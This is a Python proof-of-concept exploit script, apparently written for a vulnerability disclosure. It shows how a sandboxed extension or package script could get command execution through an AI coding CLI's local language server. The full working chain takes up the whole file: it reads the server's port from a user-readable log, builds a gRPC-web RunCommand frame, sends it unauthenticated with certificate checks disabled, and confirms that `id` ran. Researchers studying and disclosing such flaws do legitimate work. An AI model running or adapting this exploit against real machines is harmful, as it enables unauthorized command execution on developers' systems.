#!/usr/bin/env python3
"""
ATTACKER PROCESS: A Python script that uses NO shell, NO subprocess calls.
Pure stdlib: os, re, glob, struct, ssl, http.client.
Mirrors what a sandboxed extension / npm script / IDE plugin could execute.

Full chain demonstrated:
  Step 1: discover LS port from user-readable log file (no exec)
  Step 2: build 9-byte gRPC-web RunCommand payload (no exec)
  Step 3: HTTPS connect to 127.0.0.1:<port> with no auth headers
  Step 4: receive HTTP 200 with executed command stdout in body
  Step 5: parse uid line from body
"""
import os, re, glob, struct, ssl, sys
from http.client import HTTPSConnection

print('===== STEP 1: discover LS port (no exec, just file read) =====')
home = os.path.expanduser('~')
logs = sorted(glob.glob(f'{home}/.gemini/antigravity-cli/log/cli-*.log'),
              key=os.path.getmtime, reverse=True)
PORT = None
for log in logs[:5]:
    try:
        with open(log, 'r') as f:
            for line in f:
                m = re.search(r'random port at (\d+) for HTTPS', line)
                if m:
                    PORT = int(m.group(1)); break
        if PORT: break
    except Exception:
        continue
if not PORT:
    print('FAIL: no port discovered'); sys.exit(1)
print(f'  port={PORT}')
print(f'  from log file (mode 0644, user-readable): {log}')

print()
print('===== STEP 2: construct 9-byte gRPC-web payload (no exec) =====')
cmd = b'id'
body = b'\x0a' + bytes([len(cmd)]) + cmd
frame = b'\x00' + struct.pack('>I', len(body)) + body
print(f'  payload hex: {frame.hex()} (length: {len(frame)} bytes)')

print()
print('===== STEP 3: HTTPS connect (no shell, no auth header) =====')
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
conn = HTTPSConnection('127.0.0.1', PORT, context=ctx, timeout=15)
print(f'  POST https://127.0.0.1:{PORT}/exa.language_server_pb.LanguageServerService/RunCommand')
print(f'  headers: only Content-Type: application/grpc-web+proto (NO x-codeium-csrf-token, NO Authorization, NO Cookie)')
conn.request('POST',
             '/exa.language_server_pb.LanguageServerService/RunCommand',
             body=frame,
             headers={'Content-Type': 'application/grpc-web+proto'})
resp = conn.getresponse()
status_line = f'HTTP/{resp.version/10:.1f} {resp.status} {resp.reason}'
print(f'  response: {status_line}')
body_bytes = resp.read()
print(f'  body length: {len(body_bytes)} bytes')
conn.close()

print()
print('===== STEP 4: parse uid line from response body =====')
m = re.search(rb'(uid=\d+\([^)]+\)\s*gid=\d+\([^)]+\)\s*groups=\S+)', body_bytes)
if m:
    print(f'  uid line: {m.group(1).decode(errors="replace")}')
    print()
    print('===== RESULT: ATTACK SUCCEEDED =====')
    print(f'  the Python attacker process executed `id` on the victim machine')
    print(f'  via unauthenticated HTTPS to the agy Language Server')
    print(f'  and received the actual shell stdout')
else:
    print(f'  no uid line in response. first 200 bytes hex: {body_bytes[:200].hex()}')
    sys.exit(2)
